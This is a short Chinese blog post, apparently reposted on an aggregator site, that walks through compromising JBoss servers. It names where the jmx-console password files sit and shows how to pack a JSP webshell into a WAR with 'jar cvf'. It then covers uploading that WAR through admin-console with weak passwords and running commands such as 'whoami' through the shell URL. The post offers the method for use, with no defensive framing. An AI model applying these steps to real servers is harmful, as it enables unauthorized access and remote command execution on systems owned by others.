Jboss总结

Posted echod

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Jboss总结相关的知识,希望对你有一定的参考价值。

 Jboss 的安装需要 JDK 环境

JDK+JBOSS 包 

初始环境配置

系统变量名        变量值

PATH                  %JAVA_HOME%\\bin;%JAVA_HOME%\\jre\\bin

JAVA_HOME      C:\\Program Files (x86)\\Java\\jdk1.6.0_43

CLASSPATH       .;%JAVA_HOME%/lib/dt.jar;%JAVA_HOME%/lib/tools.jar 

JBOSS_HOME     C:\\WWW

 

JBOSS 密码

linux 下

/usr/java/jboss/server/default/conf/props


jmx-console-users.properties 密码

windows 

server\\standard\\conf\\props 

jmx-console-users.properties  

 

制作war包 shell

上传war包 会自动解压war包内的文件。

比如上传 xx.war  直接访问 xx/webshell.jsp 

jar cvf filename.war  webshell.jsp

0x01利用弱密码 进行getshell

admin-console 

需要存在该页面

URL:http://127.0.0.1:8080/admin-console/secure/summary.seam?path=-3%2FApplications%2FWeb+Application+%28WAR%29&conversationId=43&conversationPropagation=end

 

技术分享图片

 

 技术分享图片

点击 continue 上传

技术分享图片

直接访问根目录   http://x.x.x.x/warname/shellname.jsp

 http://127.0.0.1:8080/echod2018/echod.jsp?pwd=023&i=whoami

 --------------------------------------------------------------------------------------------

 


以上是关于Jboss总结的主要内容,如果未能解决你的问题,请参考以下文章

总结:Apache/Tomcat/JBOSS/Jetty/Nginx区别 .

JBoss Rules 总结

总结jboss控制台,得出一下结论(数据库连接池相关)

java项目日志系统的总结

常见未授权访问漏洞总结

Netty总结